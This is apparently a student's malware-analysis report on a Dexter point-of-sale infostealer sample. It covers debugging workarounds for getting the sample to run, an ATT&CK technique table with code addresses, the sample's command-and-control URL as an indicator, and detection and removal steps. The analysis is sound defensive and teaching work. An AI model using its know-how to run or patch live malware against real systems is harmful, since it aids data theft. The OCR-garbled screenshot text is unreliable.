There are some challenges that come with reverse engineering and analyzing real
malware samples. This particular sample, being seven years old, provided some
obstacles to overcome.

Basic Dynamic Issue

As mentioned during basic dynamic analysis, the malware has no functionality when
running the executable other than starting Internet Explorer and crashing. Even running
with elevated privileges as Administrator did not stop it from erroring. The best solution
| found was use ProcessExplorer to resume the suspended Internet Explorer process
BEFORE the remote thread is created. This can be accomplished by setting a breakpoint
at 0x403A90 and resuming the process before executing the next instruction. This issue
is likely a result of the age of the malware. This malware was not designed for today’s
Windows. Internet Explorer was still Microsoft’s default browser at the time. | am
curious to see if this would work in an XP or even Windows 7 environment.

= EDLLYDEG.EXE 0.05 18372 K 122,208 K 11532 OlyDbag, 32-+bit analysing deb. ..
ElrEfwin33.exe 1516 K 7172K 3788
Suspended G608 K 116K

gy TR < < < < h -

Q¥ Process Explorer - Sysinternas: www.sysinternats.com [ DESKTOP-HASSLOS lab] (Ademinisirator) - a x|

|| Fie Options View Process Fnd Users Help
pewees 1 - 1RT 0N HON=] bl K AN | I’y N lad
P Pavare Bytes [WBREGSH PD Descrpten Campary liome
AEEK NERK B
s QK K0
[ 1K K 4
<om 172K 210K 416 Cient Server Runtme Process Miosdh Coporion
130K 472K 488 Vincows Stan U Aplcanon Moo Copomnon
o 202K 2516K 504 Coset Seewss Rt Process McoscR Conorsion
280K 3E16K 500 Virckows Logon Aoskcaton _ Worwsct Comordion
| 2 sk 1555 K RO B Misach Copoation
304K 6140 Viiclows Secusty ruthost. . Miowsck Copohon
200

140K 110K
003 WK MBSZK 4100 Viwae Tools Com Servce  Vidware i
14652K  27652K 9920 Nolepad—: afiee (GHU)sa... Don HO don e i
sk

n SU864K 5424 The bferacive Duassenbles HexRays
005 182K 43460K 1153 ClyDbo. 3268 anng deb

ZETK 16280 K 11656 Prockss Monker Sysmanals - ww Aysiie.
<om BOK  25MOK 6724 Frocess Monkar Sysriemls - sysiter
TMOK 100K 5436 Fegehol 19038 ANSI  Flegaha Team
U5 MK 47320K 10776 Systsmels Process Explorsr  Sysrlende - www ayiisr

2 Mcroacit Copacion

TAMIK  36264K  TIEE Inkemet Exploer Miczoaclt Comoration
<om WIBK  34312K 1612 itemet Expbrer Micosck Comorsion

FTE D5 CCUTENELRZ, Bleecd]
g Bbe T

Frreryrer— ez B

CPUUsage 5.04%  Commit Change 4338%  Processes: 133

Figures 35 and 36: the suspended Internet Explorer process and the break point needed to continue
without crashing.
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Performance Implications
It was not uncommon to see this malware using 50-75% of the virtual machine’s
CPU resources when running. Scraping the memory of the entire system is an
extremely resource-intensive process. This caused the system to come to a
standstill. The easiest way to bypass this was to NOP out the preliminary calls
and instead have the program call the function from a thread that wasn’t the

main thread.

SE HOF
BE4E2FF4 SE HOF
HE4E3FFS =05 HOP
HE4E3FF S =05 HOP
BE483FFT =l HOF
BE483FFS SE MOF
BE4E2FF9 SA HOF
HE4E3FFA =05 HOP
HE4E3FFE =05 HOP
Bo4e3FFC|, 39 __ NOF | _

Figure 37: Replacing the function call and surrounding area with NOPs stops this issue

Multithreaded Program
One challenge brought by this malware is the idea of reverse
engineering/analyzing a multithreaded program. Before this, we had pretty
much exclusively covered single-threaded programs as they are much easier to
understand. This did not cause much difficulty, but it was something unfamiliar
that | thought would be worth mentioning.

One issue | faced was both an issue with multithreading and a performance
implication. The keylogging functionality only worked well in the OllyDbg
window. If | tried to type anywhere else on the computer, the program would
crash. | believe this was due to one of two issues. It may have been caused by
the fact that the debugger runs the application as if it is single threaded. It also
may have been caused by OllyDbg having debug privileges on the machine.
Regardless, the simple fixes here were either:

1. NOP out the startKeylogger function call (0x4058C0)

2. Runthe program as normal, but DO NOT type in any windows outside
of OllyDbg. Doing so will cause the program that owns the window to
crash.
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Summary

Potential Danger

In short, this malware can really be devastating to a system. POS-targeting infostealers like this have
caused headaches to numerous companies in the past including Target in 2013 and Wawa in 2019. This
is an especially large threat because many companies still run their POS terminals on older operating
systems. These systems lack the proper security patches that keep today’s machines from being
susceptible to this malware in the first place.

Technique Type Technique Used Location

Defensive Evasion Process Injection 0x403990
Persistence Registry Keys 0x403250
Information Collection | Data from Local System (Memory scraping) 0x404130
Information Collection | Input Capture (Keylogging) 0x4059FB
Data Exfiltration Exfiltration Over Command and Control Channel (HTTP) | 0x402C6B
Privilege Escalation Access Token Manipulation 0x401A64

Table 2: ATT&CK Matrix techniques used by this malware

Detections, Mitigations, and Removal

As previously mentioned, this sample of Dexter is hardly new at seven years old. The detection
rate on VirusTotal is at 60/70. Windows Defender also recognizes this sample to be from the
Dexter family. Signatures to check for include “javaplugin.exe” in the “Java Security Plugin”
folder in the user’s AppData directory, as well as the registry keys that link to this path.
Network traffic to and from “151.248.115.107/w19218317418621031041543/gateway.php”
indicates that the machine has already been infected and will continue to get commands from
and exfiltrate data to the attacker’s server. The high increase in idle CPU usage while scanning
every single process’s memory is also a noticeable behavioral indicator.

As discussed multiple times now, this program will not run on a modern, updated machine
unless the user is intentionally attempting to assist the process injection. The simplest
mitigations are to patch your machine and to have Defender (or some other capable anti-
malware software) enabled. Overall, the StarDust variant of the Dexter malware family appears
relatively simple to catch by today standards. Dexter paved the way for other POS malware and
infostealers alike, and its legacy remains impactful seven years later.

Manual removal of this malware should be simple. It should be as easy as killing the
“javaplugin.exe” process along with all the Internet Explorer processes running on the machine.
Then, deleting the file in the user’s AppData and removing the autorun registry keys should be
all that is necessary to stop the infection. It may be worth looking at the contents of the
“strokes.log” file to determine if any sensitive data was acquired.
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= . ]
@ 60 engines detected this file (G
4eabb1adc035/035¢010c0d0d259c683e181931509946652edBaa7 c5d92b6ad2 66.50 KB 2020-04-21 18:55:04 UTC %
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AVG @ Win32:Dexter-1 Avira (no cloud) @ TR/Hijacker Gen
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Figure 38: VirusTotal detection rate of 60/70 for the hash
Windows Security
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Status: Quarantined
Quarantined files are in a restricted area where they can't harm your device, They will
be removed automatically.

Threat detected: PWS:Win32/Dexter.A

Alert level: Severe

Date: 4/21/2020 12:05 AM

Category: Password Stealer

Details: This program is dangerous and captures user passwords.

Learn more

Affected items:

file: CA\Users\Jake\Desktop\202 proj\Win32.Infostealer.Dexter\win33.exe

Actions

Figure 39: Windows Defender quarantined the file while also recognizing it as Win32/Dexter.A
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